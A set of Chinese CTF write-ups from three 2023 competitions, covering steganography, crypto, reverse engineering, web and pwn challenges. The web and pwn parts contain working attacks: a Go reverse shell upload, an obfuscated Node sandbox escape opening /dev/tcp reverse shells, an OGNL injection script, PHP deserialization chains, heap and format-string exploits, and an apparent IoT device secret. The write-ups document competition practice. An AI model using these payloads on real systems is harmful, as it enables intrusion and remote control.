2023 World Intelligent Congress-Intelligent Driving Challenge | MISC

Challenge name:23333!

难度:Easy

考点:文件十六进制、零宽隐写

WriteUp:

  1. Winhex打开发现明显特征:

    image1

  2. 编写脚本进行恢复:

     input = open(data', 'rb')
     input_all = input.read()
     ss = input_all[::-1]
     output = open('data.zip', 'wb')
     output.write(ss)
     input.close()
     output.close()
  3. vim,打开:零宽隐写:

    image-1

    image

Challenge name:The game of mathematics

难度:Middle

考点:Fuzz

WriteUp:

解压得到key.jpg,是个数独,在线数独求解器 (gwalker.cn)

image-20230517115554833

exif信息里找到提示对角线,根据之前求解的数独结果,得到密码为654917276261618641

image-20230517115636997

得到一个key.txt,根据题目名称数学游戏,猜测也是个数学游戏,fuzz之后发现是Nonogram数织游戏

image-20230517115821023

github上可以找到个解析的网站Nonogram (handsomeone.github.io),得到压缩包密码Take1tEasy

image-20230517120025190

解开得到flag

flag{c6ebcf84bcd54bac0803086a4630f673}

Challenge name:This is Steganography

难度:Middle

考点:LSB音频隐写、webdings字体

WriteUp:

听wav开头有一些杂音,16进制发现data部分有大量不同寻常的01字节

1684287949492-41b83c2b-6b38-4145-a6f6-fbbc0fa717ab

猜测是wav的lsb隐写,写脚本提取

import wave

def read_wav_file(file_path):
    with wave.open(file_path, 'rb') as wav_file:
        params = wav_file.getparams()
        frames = wav_file.readframes(wav_file.getnframes())
    return params, frames

def extract_data(frames):
    binary_data = ''
    for frame in frames:
        binary_frame = format(frame, '08b')
        binary_data += binary_frame[-1]
    return binary_data

def binary_to_bytes(binary_data):
    byte_data = bytearray()
    for i in range(0, len(binary_data), 8):
        byte = binary_data[i:i+8]
        byte_data.append(int(byte, 2))
    return bytes(byte_data)

def save_data_to_file(data, file_path):
    with open(file_path, 'wb') as output_file:
        output_file.write(data)

def main():
    modified_file_path = 'modified_audio.wav'
    params, frames = read_wav_file(modified_file_path)
    extracted_data = extract_data(frames)
    byte_data = binary_to_bytes(extracted_data)
    output_file_path = 'extracted_data.png'

    save_data_to_file(byte_data, output_file_path)

    print("成功提取隐藏的数据并保存到文件。")

if __name__ == '__main__':
    main()

得到一张倒置的图片,是webdings字体(13条消息) 'Webdings' 的字体对照表_webdings字体_chenjieit619的博客-CSDN博客

1684288118403-ff1e1aa8-2ea3-4581-bc38-3a70edc97d49

倒置回来后对照表即可得到flag

flag{8d9ad0457c1a8b603978085b0bffcf93}

Challenge name:You're also confused, right?

难度:Schrödinger

考点:Xor

WriteUp

根据题目提示,应该与异或有关,根据flag.zip​后缀提示,将前几个字节与zip文件头异或

可以得到1234

​​image-20230622155130990​​

猜测zip文件应该是与0x01-0xff递增逐字节异或的,解密脚本:

with open('flag.zip', 'rb') as input_file, open('result.zip', 'wb') as output_file:
    byte = input_file.read(1)  
    xor_value = 0x01  

    while byte:

        xor_byte = bytes([byte[0] ^ xor_value])
        output_file.write(xor_byte)

        byte = input_file.read(1) 
        xor_value = (xor_value + 1) % 256  

压缩包解开可以得到两张图

发现两张图大小相同,

image-20230622155620852

打印xor.png的rgb发现这张图并不是一张全黑的图

image-20230622155655132

结合图片名仍跟异或有关,将两张图逐像素异或

from PIL import Image

image1 = Image.open('xor.png').convert('RGB')
pixels1 = image1.load()

image2 = Image.open('rox.png').convert('RGB')
pixels2 = image2.load()

result_image = Image.new('RGB', image1.size)
result_pixels = result_image.load()

width, height = image1.size
for x in range(width):
    for y in range(height):
        r1, g1, b1 = pixels1[x, y]
        r2, g2, b2 = pixels2[x, y]
        r_xor = r1 ^ r2
        g_xor = g1 ^ g2
        b_xor = b1 ^ b2
        result_pixels[x, y] = (r_xor, g_xor, b_xor)

result_image.save('result.png')

得到的图片与rox.png做盲水印得到flag

image-20230622160030497

image-20230622160045206

flag{AC4E331C-A2D0-CA2C-93D6-B9E22F19A373}

2023 Shaanxi University Student CyberspaceSecurity Competition Partly WriteUp

WEB

test

image

/profile/admin

image

cmd5反查一下:​admin:asdfgh123

登录成功:

image

从网上找一个反弹shell的golang shell

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)

var (
    cmd string
    line string
)

func main() {
    addr := "118.X.X.X:3333"
    conn,err := net.Dial("tcp",addr)
    if err != nil {
        log.Fatal(err)
    }

    buf := make([]byte,10240)
    for  {
        n,err := conn.Read(buf)
        if err != nil && err != io.EOF {
            log.Fatal(err)
        }

        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str)
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes))
    }
}

自己写一个上传接口,然后修改相关信息,BP发包即可:

POST /Adm1nUp104d HTTP/1.1
Host: xxxxxxxxx.clsadp.com
Content-Length: 1203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:63342
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydX4dGEAJZUS6ZqkT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydX4dGEAJZUS6ZqkT
Content-Disposition: form-data; name="file"; filename="123.go"
Content-Type: application/octet-stream

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)

var (
    cmd string
    line string
)

func main() {
    addr := "118.X.X.X:3333"
    conn,err := net.Dial("tcp",addr)
    if err != nil {
        log.Fatal(err)
    }

    buf := make([]byte,10240)
    for  {
        n,err := conn.Read(buf)
        if err != nil && err != io.EOF {
            log.Fatal(err)
        }

        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str)
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes))
    }
}
------WebKitFormBoundarydX4dGEAJZUS6ZqkT
Content-Disposition: form-data; name="submit"

submit_file
------WebKitFormBoundarydX4dGEAJZUS6ZqkT--

image

ezrce

简单的无参数rce,正则里面开了​``​[模式就能执行命令]()。然后利用session,直接梭了PHP的无参数RCE - 先知社区 (aliyun.com)

image

unserialize

非预期了,不需要反序列化,直接%0a​绕过了

payload:passthru%0a(%27cat%20/flag%27);

Esc4pe_T0_Mong0

参考 angstromctf2022 misc/CaaSio PSE ,补充过滤​ / ​​防范正则,补充过滤URL编码绕过,需要进一步绕过长度限制

Read Source Code​ 可以看到页面源码,利用 this.constructor.constructor ​​进行沙箱逃逸

image

有长度限制和黑名单,可以用with​来绕过.​后续的内容我们可以使用 fromCharCode​ 来绕过敏感字符,但是由于长度限制,在fromCharCode ​​内部还需要进一步进行定义来缩短长度

payload:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,a=52,55,46,b=49,48,a,46,b,a,46,b,54,48,47,b,a,a,a,32,48,62,38,b,34))

反弹shell后直接进MongoDB,读flag​3702311e045df49394f3bcd7e26716e

ezpop

首先存在一个不可见字符的post传参,这里需要urlencode编码一下,然后再将其作为参数进行post传参

<?php
class night
{
    public $night;

    public function __destruct(){//night=new day()
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;
}

class light
{
    public $light;

}

class dark
{
    public $dark;

    public function getFlag(){
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}
$a=new night();
$a -> night=new day();
$a -> night ->day=new dark();
$a ->night ->day -> dark=new light();
$a -> night ->day ->dark -> light=new day();
$a ->night ->day ->dark ->light->day=new dark();
$a ->night ->day ->dark ->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
$b=array($a,0);
echo serialize($b);

因为GC回收机制,我们将得到了serialize$b中的1改成0,最后生成我们最后的payload:

a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:1;i:0;}
a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:0;i:0;}

PWN

陕西游玩

from pwn import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.X.X.55',10001)
elf = ELF('./pwn')
libc=ELF('libc.so.6')
ru('choice :\n')
sl('2')
ru('Warriors\n')
sl('%11$p')
ru('0x')
base=int(r(12),16)-0x13a0
ru('choice :\n')
sl('1')
payload=b'a'*0x28+p64(base+0x129A)
p.sendline(payload)
itr()

easy_printf

from pwn import *
from ctypes import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.X.X.X',10010)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

ru('Do you know who the best pwner is?\n')
sl('TokameinE_is_the_best_pwner\0')
ru('What do you want to say?\n')
sl('%18$p')
ru('0x')

libc_base = int(r(12),16) - 0x5f1168
leak('libcbase',libc_base)
og = libc_base + 0x4527a
free_hook = libc.sym["__free_hook"] + libc_base
leak('og',og)

leak('free_hook',free_hook)
free = free_hook//0x100000000

leak('free',free)
free1 = free_hook//0x10000000000

num = 72
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn')
sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn')
sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn')
sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn')
sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')

itr()

MISC

Findme

twealpng打开图片,发现有数据块较大,提取出来

image

手动提取后,发现大小刚好为500k,怀疑是VeraCrypt加密容器

image

image

修复图片后进行挂载,

image

image

将其转换成16进制数据后写入新文件,图片调整高度为400出二维码:

image

扫描出flag

你是不是很疑惑呢

按照提示,aztec条形码时间戳异或,将创建时间与修改时间进行转化后异或

可以先将汉字与阿拉伯数字进行手动替换

import os  
import datetime

# 指定文件夹路径  
folder_path = "path/to/folder"

# 遍历文件夹  
for filename in os.listdir(folder_path):  
    # 只处理 png 文件  
    if filename.endswith(".png"):  
        # 获取文件的创建时间和修改时间的时间戳  
        create_time = datetime.datetime.fromtimestamp(os.path.getmtime(os.path.join(folder_path, filename)))  
        modify_time = datetime.datetime.fromtimestamp(os.path.getmtime(os.path.join(folder_path, filename)))  

        # 将时间戳异或  
        和时间戳异或的操作符进行运算  
        result = create_time ^ modify_time  

        # 打印输出  
        print(f"{filename}的创建时间为{create_time.strftime('%Y-%m-%d %H:%M:%S')},\  
            修改时间为{modify_time.strftime('%Y-%m-%d %H:%M:%S')},\  
            异或结果为{result.strftime('%X')}")  

按顺序转ascii得到flag

image

管道

签到misc,随便旋转一下,zsteg -a 管道.png

image

可是雪啊飘进双眼

wav有摩斯密码,

image​解密WOAIXIAN​,然后txt是snow隐写:

image

解压,key.jpg是加密的对照表,改为zip再次打开

image

对照后得到密钥: BC1PVEYD

steghide解密hide.jpg即可

Crypto

HaM3

CryptoCTF2021原题

pq乘积在n里

组合爆破分解

from Crypto.Util.number import *
from tqdm import tqdm

n = 142672086626283587048017713116658568907056287246536918432205313755474498483915485435443731126588499776739329317569276048159601495493064346081295993762052633
c = 35771468551700967499031290145813826705314774357494021918317304230766070868171631520643911378972522363861624359732252684003796428570328730483253546904382041
low = str(n)[-19:]
high = str(n)[:19]
pq_prob = []

for i in range(10):
    pq_prob.append(int(high + str(i) + low))

for x in tqdm(pq_prob):
    f = factor(x)
    if (len(f) == 2 and f[0][0].nbits() == 64):
        p, q = f[0][0], f[1][0]
print(p,q)
P = int(str(p) + str(q))
Q = int(str(q) + str(p))
PP = int(str(P) + str(Q))
QQ = int(str(Q) + str(P))
N = PP * QQ
print(N)
assert N == n
phi = (PP - 1) * (QQ - 1)
d = inverse(e, phi)
m = pow(c, d, p * q)
print(m)
print(long_to_bytes(m))

奇怪的sar

lcg流密码加异或

用剪枝算法能解

from Crypto.Util.number import *
from gmpy2 import *
n =  24044063028844014127418595700558729326190738802687551098858513077613750188240082663594575453404975706225242363463089392757425008423696150244560748490108425645064339883915929498539109384801415313004805586193044292137299902797522618277016789979196782551492020031695781792205215671106103568559626617762521687128199445018651010056934305055040748892733145467040663073395258760159451903432330506383025685265502086582538667772105057401245864822281535425692919273252955571196166824113519446568745718898654447958192533288063735350717599092500158028352667339959012630051251024677881674246253876293205648190626145653304572328397
c =  14883053247652228283811442762780942186987432684268901119544211089991663825267989728286381980568977804079766160707988623895155236079459150322336701772385709429870215701045797411519212730389048862111088898917402253368572002593328131895422933030329446097639972123501482601377059155708292321789694103528266681104521268192526745361895856566384239849048923482217529011549596939269967690907738755747213669693953769070736092857407573675987242774763239531688324956444305397953424851627349331117467417542814921554060612622936755420459029769026126293588814831034143264949347763031994934813475762839410192390466491651507733968227
n1 =  137670797028117726329534659376416493367957852768263083700434198723955223922183386928456013703791817601151754417828367188186912209697081337658512940425529211281290630976671911327606706953154608427885071841566358882014021242768190762103365969320014710368160869517966437591299370072284930202718943785099916898209
enc =  [101737402423360536260958229788866250367716256968287178187558336481872788309727545478736771692477306412259739856568227009850831432381180909815512654609798228982433082928392936844193974517574281026029228179913579225687286945054175762659252515268270399329404664775893089132101252158524000295899895962104782878103, 37355684997487259669354747104430314505839306993101096210478266975184357608742619438151118843905165289324251734149329596611854110739738607745107961453008343886403511257039401245484528985856920723694142989180291902939107642020398816995584650913417698279936585230648639613028793148102494100898288564799111024672, 58677759595639211550435023449462812079890625834313820227189340593596480924226619376872336960357021314847975570175387751632125898437020801920862764666175594874885587518469384576361008639967382152477408865298759987606155830674598034578657554841283906976808719095766296677147076808250022898199866472085742989883, 61841632061818470036288407041172200048676249787061823756736224887116113640875444187463656719652972233582538657844183320242896612625995507633237074900538692102956750184024574603018257213912795847625926653585010890014291951218199774765624860625726555381815237888483974246173727262881650634287497285246796321130, 7618244158597756867387754433401378508070531356170836765779245254233413235386172690733378371343899289510629513166609513857423499004879497768588665836034791151090648182168421570449377835494883902907064269417199065924565304966242954268460876762295575715334403142360198583318323418975108290758222653083011275844, 106276841058222138994123556391380518368163552919305398852484130331884811278068151915582752795463570013359693610495645946230044828403849434903415989487924763756589202218361370725532394478569304449884620166937809374355282324069422109879874964479199929174533104879048175102339134830614476339153367475243140156049, 54574757236475194407137831004617398270525645136836468973535243574661043352422598443323384197261529289829451787586618886007968913414366545291507686451774653217577858375086817168124727394445167274831801876424578654786480330913650363551771258617533162477541882336257099777912519011890593910515860435759936717781, 15567087904962670212229825713697043597876172881256160613623383896576159414077875401117959132252949501643234465895697270909085179587988268864498823765197994781747034644583869111599516151129007414228897958635533561248099927507725880289417298814703767549313482346652043188826434944367260731729064673486516315207, 10757138067445225320504771816863593606847219020279502671965413470243269270456133564739090471033889069283122519782525412134604896073598293410977787230108853737796640474070194546344190858079847734817109910030714675258996740807873872365037296486121580542250452443305370358407408558223735250474249180772656905880, 68097848963949068260912124852455363245291187860801223898468533992003737157497436432969031551088942445561676359631354280979357356539429863946694570097104716411407829017684705171462511875250672979623888463245258237680782731827727876526411531354910982579164963119481534453651300645314177478026462894232377307020]
seed = 39428646082513135314545544161912595458975375891528176714825766497155482031976852156313956476772023258684487799640179241987139554034654104867011313090105438798561154654679825702410748780286094326639330840289843154525176685892323447168072417654823748596238888125898914210332775882916911771786984574407163323116
start = [(1, 1)]
for i in range(1, 1025):
    tmp = (1 << (i+1))
    all = []
    for p1, q1 in start:
        for s in range(2):
            for t in range(2):
                cp = p1 + s * (1 << i)
                cq = q1 + t * (1 << i)
                all.append((cp, cq))
    start = all
for p,q in all:
    phi = (p - 1) * (q - 1)
    e = 65537
    d = inverse(e, phi)
    m = pow(c, d, n)
    if b'flag' in long_to_bytes(m):
        print(long_to_bytes(m))
        break

Reverse

我的upx-d怎么坏了

od手脱,反编译找到迷宫,找到最短路径,

解出为RRRDRRURRRRRRDDDDRDDD

MD5后套上flag

image

babypython

149         910 LOAD_CONST             147 ('************************************')
            912 STORE_NAME              32 (flag)

152         914 LOAD_CONST             148 ('')
            916 STORE_NAME              33 (value)

153         918 LOAD_CONST             148 ('')
            920 STORE_NAME              34 (output)

154         922 LOAD_CONST               0 (0)
            924 STORE_NAME              30 (i)

156         926 NOP

157     >>  928 LOAD_NAME               32 (flag)
            930 LOAD_NAME               30 (i)
            932 BINARY_SUBSCR
            942 STORE_NAME              35 (temp)

158         944 PUSH_NULL
            946 LOAD_NAME               36 (chr)
            948 PUSH_NULL
            950 LOAD_NAME               37 (ord)
            952 LOAD_NAME               35 (temp)
            954 PRECALL                  1
            958 CALL                     1
            968 LOAD_CONST             150 (8)
            970 BINARY_OP               12 (^)
            974 PRECALL                  1
            978 CALL                     1
            988 STORE_NAME              35 (temp)

159         990 LOAD_NAME               33 (value)
            992 LOAD_NAME               35 (temp)
            994 BINARY_OP               13 (+=)
            998 STORE_NAME              33 (value)

160        1000 LOAD_NAME               30 (i)
           1002 LOAD_CONST             149 (1)
           1004 BINARY_OP               13 (+=)
           1008 STORE_NAME              30 (i)

161        1010 LOAD_NAME               30 (i)
           1012 PUSH_NULL
           1014 LOAD_NAME               38 (len)
           1016 LOAD_NAME               32 (flag)
           1018 PRECALL

找到
=1nb0A3b7AUQwB3b84mQ/E0MvJUb+EXbx5TQwF3bt52bAZncsd9c

字节反转,

c9dscnZAb25tb3FwQT5xbXE+bUJvM0E/Qm48b3BwQUA7b3A0bn1=

手动将数字和英文字母进行替换

cWdscnZAb25tbHFwQT5xbXE+bUJvM0E/Qm4=
再base64进行解码qglrv@onmlqpA>qmq>mBo3A?Bn

enc = "qglrv@onmlqpA>qmq>mBo3A?Bn"
for i in range(len(enc)):
    print(chr(ord(enc[i])-3^8),end="")

AliYunCTF partly WriteUp

整理 & 询问几个师傅后做的

WEB

通向shell之路

import requests as req
from urllib.parse import quote
import base64

url = "http://120.55.13.151:8080/app/user/%s"
headers = {
    "Accept": "application/json, text/plain, */*",
    "Referer": "http://120.55.13.151:8080/app/",
    "Connection": "close"}

payload = '(#r="a".getClass().forName("java.lang.Runtime")).(#m=#r.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#o=#m.invoke(null,null)).(#e=#r.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("[Ljava.lang.String;")}.{? #this.getParameters().length == 1}[0]).(#e.invoke(#o,new String[]{"sh","-c","echo %s |base64 -d|bash"}))' % base64.b64encode(b"bash -i >& /dev/tcp/118.X.X.164/2333 0>&1")
payload = "../../action/%s" % quote(quote(payload))
resp = req.get(url % payload.replace("/","%252F"), headers=headers)

RECERSE

字节码跳动

Creating a Ghidra processor module in SLEIGH using V8 bytecode as an example – PT SWARM (ptsecurity.com)

V8字节码,main→aaa→ccc​,可以直接去找对应func​的字节码

#include <stdio.h>
#include <stdint.h>

uint8_t enc[] = {
    0x3e, 0xdd, 0x79, 0x25, 0xcd, 0x6e, 0x04, 0xab,
    0x44, 0xf2, 0x5b, 0xef, 0x57, 0xbc, 0x53, 0xbd,
    0x20, 0xb7, 0x4b, 0x8c, 0x11, 0xf8, 0x93, 0x09,
    0x0f, 0xdc, 0xdf, 0xdd, 0xad, 0x07, 0x09, 0x10,
    0x01, 0x00, 0xfe, 0x6a, 0x92, 0x30, 0x33, 0x32,
    0x34, 0xfb, 0xae
};

void decrypt(uint8_t *enc, uint8_t *flag, int len) {
    // Initialize variables
    uint8_t r0 = enc[18];
    uint8_t r1 = 159;

    // Decrypt byte sequence
    for (int i = len - 1; i >= 0; i--) {
        if (i > 0 && i < 19) {
            flag[i] = (enc[i] - enc[i - 1] - 51) % 256;
        } else if (i == 0) {
            flag[i] = (enc[i] - 170 - 51) % 256;
        } else {
            r1 ^= enc[i];
            flag[i] = (enc[i] - r1) % 256;
        }
    }
}

int main() {
    uint8_t flag[43] = {0};
    decrypt(enc, flag, 43);
    for (int i = 0; i < 43; i++) {
        printf("%c ", flag[i]);
    }
    printf("\n");
    return 0;
}

PWN

babyheap

rust pwn

有个后门

限制堆块大小0x200​,限制堆块数量不超过8,存在UAF漏洞

2.27版本下tcachebin attack​劫持free_hook​为system​,再通过free将'/bin/sh\x00'​作为rdi送入即可

# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

# from ae64 import AE64
# from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"

name = './babyheap'

debug = 0
if debug:
    p = remote('47.98.229.103',1337)
else:
    p = process(name)

#libcso = '/lib/x86_64-linux-gnu/libc-2.31.so'
libcso = './libc-2.27.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

'''
binary = './pwn'
ip = '0.0.0.0'
port = 8888
#libcelf = './libc.so.6'
libcelf = '/lib/x86_64-linux-gnu/libc-2.31.so'
#ldfile = './ld.so'
ldfile =  '/lib64/ld-linux-x86-64.so.2'

local = 1
armmips = 0
x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

if armmips == 0:
    if local:
        if ldfile:
            p = process([ldfile, binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        elif libcelf:
            p = process([binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        else:
            p = process(binary)
    else:
        p = remote(ip, port)
else:
    if local:
        if x64_32:
            p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi", binary])
        else:
            p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
    else:
        p = remote(ip, port)

elf = ELF(binary)
'''

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

add_idx = 1
delete_idx = 4
show_idx = 2
edit_idx = 3

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()

bss = elf.bss()
li('bss = '+hex(bss))

def choice(cho):
    sla('>>> ',cho)

def add(size,content):
    choice(add_idx)
    sla('now the size: ',size)
    p.sendlineafter('next the content: ',content)

def delete(idx):
    choice(delete_idx)
    sla('house index: ',idx)

def show(idx):
    choice(show_idx)
    sla('house index: ',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('house index: ',idx)
    p.sendlineafter(': ',content)

for i in range(8):
    add(0x1f0,'a'*0x1f0)

for i in range(8):
    delete(1953723762+7-i)

show(0)

libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ogg=[0x4f2a5,0x4f302,0x10a2fc]
og=libc_base+ogg[1]

pl=p64(free_hook)
pl+=pl.ljust(0x1f0,b'\x00')
edit(1,pl)

delete(7)
delete(6)

pl2=b'/bin/sh\x00\x00'
pl2+=pl2.ljust(0x1f0,b'\x00')
add(0x1f0,pl2)

pl3=p64(sys)
pl3+=pl3.ljust(0x1f0,b'\x00')
add(0x1f0,pl3)

delete(6)

itr()

#print('========================================================================================')
'''
def pwn():

if __name__ == '__main__':
    pwn()
'''

#print('========================================================================================')

'''
bss = elf.bss()

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()

pop_rdx = libc_base + libc.search(asm('pop rdx;ret;')).__next__()

pop_rdx12 = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()

leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()

sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

syscall = libc_base + libc.sym['syscall']

gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
li('gadget = '+hex(gadget))
mov    rbp,QWORD PTR [rdi+0x48]
mov    rax,QWORD PTR [rbp+0x18]
lea    r13,[rbp+0x10]
mov    DWORD PTR [rbp+0x10],0x0
mov    rdi,r13
call   QWORD PTR [rax+0x28]

'''

MISC

懂得都懂带带弟弟

https://github.com/nodejs/node/issues/18265

import('/flag');

消失的声波

image

有提到ALBB-iot2023.oss-hz-OpYdCuMtkQ8Yjhm2​这个OSS云存储

直接访问http://iot2023.oss-cn-hangzhou.aliyuncs.com/

image

但是可以wget进行请求

image

https://help.aliyun.com/document_detail/261162.html

https://blog.csdn.net/m0_47722349/article/details/124303495

查找一下相关资料发现,连接这个oss需要一些参数

image

image

在文件里寻找一下这些关键信息

image

lk = linkkit.LinkKit(
    host_name="cn-shanghai",
    product_key="a1eAwsBKddO",
    device_name="ncApIY2XV9NUIY4VpbGk",
    device_secret="04845e512ead208b2437d970a154d69e")

然后后面那部分topic​要订阅和发送消息,稍稍修改一下:

image

import sys
from linkkit import linkkit
import threading
import traceback
import inspect
import time
import logging

__log_format = '%(asctime)s-%(process)d-%(thread)d - %(name)s:%(module)s:%(funcName)s - %(levelname)s - %(message)s'
logging.basicConfig(format=__log_format)

lk = linkkit.LinkKit(
    host_name="cn-shanghai",
    product_key="a1eAwsBKddO",
    device_name="ncApIY2XV9NUIY4VpbGk",
    device_secret="04845e512ead208b2437d970a154d69e")

lk.enable_logger(logging.DEBUG)

def on_device_dynamic_register(rc, value, userdata):
    if rc == 0:
        print("dynamic register device success, value:" + value)
    else:
        print("dynamic register device fail, message:" + value)

